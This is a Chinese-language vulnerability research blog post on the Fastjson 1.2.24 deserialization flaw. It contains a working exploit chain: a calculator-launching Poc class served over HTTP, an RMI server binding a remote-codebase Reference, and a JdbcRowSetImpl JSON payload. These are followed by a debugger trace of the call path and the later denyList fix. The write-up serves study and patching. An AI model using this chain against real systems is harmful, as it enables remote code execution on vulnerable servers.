1. 程式人生 > 其它 >Fastjson 1.2.24 反序列化漏洞研究

Fastjson 1.2.24 反序列化漏洞研究

一、概述

  fastjson自2017年爆出序列化漏洞以來,漏洞就一直停不下來。本次主要研究2017年第一次爆出反序列化漏洞。

二、漏洞復現

  首先在本機簡單進行下漏洞復現。

建立Poc類

該類為最終觸發利用程式碼的類,因為是通過JAVA RMI方式讀取,所以該類需繼承UnicastRemoteObject。該物件執行後會在windows環境中彈出計算器。使用javac編譯Poc類,生成Poc.class檔案。並啟用一個簡單的Http服務,提供讀取Poc.class檔案,通過http://10.2.13.27:8888/Poc.class可成功訪問到Poc.class檔案

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject; public class Poc extends UnicastRemoteObject{ public Poc() throws RemoteException{ try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } public static void
main(String[] args){ try { Poc poc = new Poc(); }catch (Exception e){ e.printStackTrace(); } } }

建立RMI服務端

public class RMIService {
    
    public static void main(String[] args){
        try {
            //netPoc poc = new Poc();
            Registry registry = LocateRegistry.createRegistry(10999);
            
//JdbcRowSetImpl中是通過jndi lookup方法進行程式碼注入 Reference reference = new Reference("Poc","Poc","http://10.2.13.27:8888/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Poc",referenceWrapper); System.out.println("bind 10999...."); }catch (Exception e){ e.printStackTrace(); } } }

示例程式碼

若Jdk版本高於8u113需要新增System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"),否則將不會成功。因為高版本jdk禁止了RMI協議使用遠端codebase。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

/**
 * 利用JdbcRowSetImpl進行反序列化,但高版本jdk無法成功JDK 6u132, 7u122, or 8u113
 * */
public  class FastJsonService {
    public static void main(String[] args){
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        //JdbcRowSetImpl
        String str = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}";
        JSONObject jsonObject = JSON.parseObject(str);
    }
    
}

執行效果

三、漏洞分析

3.1 總體分析

  fastjson主要用來進行序列化和反序列化操作。本次漏洞利用主要是反序列化模組,當我們傳入一個json字串時

"{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}";

因json中指定了@type引數,故fastjson會嘗試將該字串反序列化為JdbcRowSetImpl類物件,並呼叫類中的set方法對dataSourceName和autoCommit屬性進行賦值。
fastjson進行反序列化時,如果類中存在無參建構函式,則直接呼叫無參建構函式進行初始化類。若不存在無參建構函式,則會尋找引數最多的建構函式進行初始化類。

故會直接呼叫JdbcRowSetImpl類中的無參建構函式進行類初始化。可看到conn設定為null。所以setAutoCommit方法會進入else中,即呼叫this.conn = this.connect();

  

在connect()中可以看到會呼叫JNDI的lookup函式,並且引數值為我們反序列化時傳入的dataSourceName屬性,dataSourceName傳入值為rmi://10.2.13.27:10999/Poc,所以最終會成功執行到我們編寫的Poc類。

3.2 詳細分析  

首先,借用別人畫的fastjson部分類關係圖

  

  鑑於我們的Payload最終是Runtime.getRuntime.exec("calc"),所以我們在Runtime類的exec方法中設定斷點並啟動除錯模式

  

  完整呼叫路徑如下圖,我們跟蹤下呼叫過程

  


1.JSON

  首先呼叫JSON物件,依次為 parseObject(String text)-->parse(String text)->parse(String text,int featrues),其中text為我們輸入的{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true} ,features為989

在parse(String text,int features)中呼叫DefaultJSONParser parser=new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features);

首先初始化了一個DefaultJSONParser的物件,呼叫的是DefaultJSONParser的三引數建構函式,在DefaultJSONParser建構函式中呼叫了new JSONScanner(input,features)

其中input即為我們的輸入{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true} ,features為989

隨後呼叫DefaultJSONParser(Object input,JSONLexer lexer,ParserConfig config)
主要將上一步生成的JSONScanner物件賦值給JSONlexer物件lexer並進行一些初始化操作,ch設定為‘{’,token設定為JSONTOKEN.LBRACE即12

至此new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features)完成。
下一步進入JSON類的parse(String text,int features)Object value=parser.parse() ,即DefaultJSONParse類的parse()方法

2.DefaultJSONParse

繼續進入parse()--》parse(ObjectfieldName),上一步DefaultJSONParse初始化時,token設定成JSONTOKEN.LBRACE

隨後進入parseObject(object,fieldName),通過scanSymbol獲取到“@type”

再獲取到我們payload中@type的值為"com.sun.rowset.JdbcRowSetImpl",並通過loadClass載入

隨後進入

3. JavaBeanDeserializer

進入JavaBeanDeserializer的deserialze方法,並執行到boolean match = parseField(parser, key, object, type, fieldValues);

一路跟蹤,最後進入public void setValue(Object object, Object value) 方法,method即為我們傳入的JdbcRowSetImpl.setAutoCommit,value即為true。最終會呼叫傳入類的set方法進行賦值,即最終呼叫setAutoCommit(true)。

至此,就進入我們在3.1中對jdbcRowSetImpl類的setAutoCommit方法的分析,最終導致了遠端程式碼執行。

四、漏洞預防

  fastjson在1.2.25開始的版本中新增public Class<?> checkAutoType(String typeName, Class<?> expectClass)方法,denyList陣列中的類均無法進行反序列化。但仍然存在繞過checkAutoType方法的途徑,後續再分析。

private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(","); 

若要避免fastjson已知漏洞,請直接升級到最新版。

  • 新增到短語集
    • 沒有此單詞集:冰島語 → 英語...
    • 建立新的單詞集...
  • 拷貝

TRANSLATE with x English
Arabic Hebrew Polish
Bulgarian Hindi Portuguese
Catalan Hmong Daw Romanian
Chinese Simplified Hungarian Russian
Chinese Traditional Indonesian Slovak
Czech Italian Slovenian
Danish Japanese Spanish
Dutch Klingon Swedish
English Korean Thai
Estonian Latvian Turkish
Finnish Lithuanian Ukrainian
French Malay Urdu
German Maltese Vietnamese
Greek Norwegian Welsh
Haitian Creole Persian
TRANSLATE with COPY THE URL BELOW Back EMBED THE SNIPPET BELOW IN YOUR SITE Enable collaborative features and customize widget: Bing Webmaster Portal Back
  • 新增到短語集
    • 沒有此單詞集:英語 → 英語...
    • 建立新的單詞集...
  • 拷貝
  • 新增到短語集
    • 沒有此單詞集:英語 → 英語...
    • 建立新的單詞集...
  • 拷貝
  • 新增到短語集
    • 沒有此單詞集:瑞典語 → 英語...
    • 建立新的單詞集...
  • 拷貝
  • 新增到短語集
    • 沒有此單詞集:瑞典語 → 英語...
    • 建立新的單詞集...
  • 拷貝